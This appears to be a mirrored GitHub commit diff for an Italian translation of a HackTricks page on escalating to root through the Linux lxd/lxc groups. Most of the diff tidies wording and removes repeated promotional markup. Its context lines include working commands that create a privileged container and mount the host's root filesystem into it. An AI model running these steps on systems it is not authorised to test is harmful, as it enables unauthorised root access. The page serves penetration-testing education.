mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
Translated ['linux-hardening/privilege-escalation/interesting-groups-lin
This commit is contained in:
parent
d9bbed09c4
commit
6d78ec68af
1 changed files with 11 additions and 111 deletions
|
@ -21,7 +21,7 @@ Se appartieni al gruppo _**lxd**_ **o** _**lxc**_, puoi diventare root
|
|||
|
||||
### Metodo 1
|
||||
|
||||
Puoi installare sulla tua macchina questo distro builder: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(segui le istruzioni del github):
|
||||
Puoi installare sulla tua macchina questo costruttore di distribuzioni: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(segui le istruzioni del github):
|
||||
```bash
|
||||
sudo su
|
||||
# Install requirements
|
||||
|
@ -63,7 +63,7 @@ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=t
|
|||
```
|
||||
{% hint style="danger" %}
|
||||
Se trovi questo errore _**Errore: Nessun pool di archiviazione trovato. Si prega di creare un nuovo pool di archiviazione**_\
|
||||
Esegui **`lxd init`** e **ripeti** il blocco di comandi precedente
|
||||
Esegui **`lxd init`** e **ripeti** il precedente blocco di comandi
|
||||
{% endhint %}
|
||||
|
||||
Infine puoi eseguire il contenitore e ottenere root:
|
||||
|
@ -93,118 +93,18 @@ lxc init myimage mycontainer -c security.privileged=true
|
|||
|
||||
# mount the /root into the image
|
||||
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='success'>
|
||||
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Impara e pratica il hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Impara e pratica il hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>Supporta HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
|
||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
|
||||
hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</div>
|
||||
|
||||
</details>
|
||||
|
||||
</div>
|
||||
```
|
||||
|
||||
{% endhint %}
|
||||
|
|
Loading…
Reference in a new issue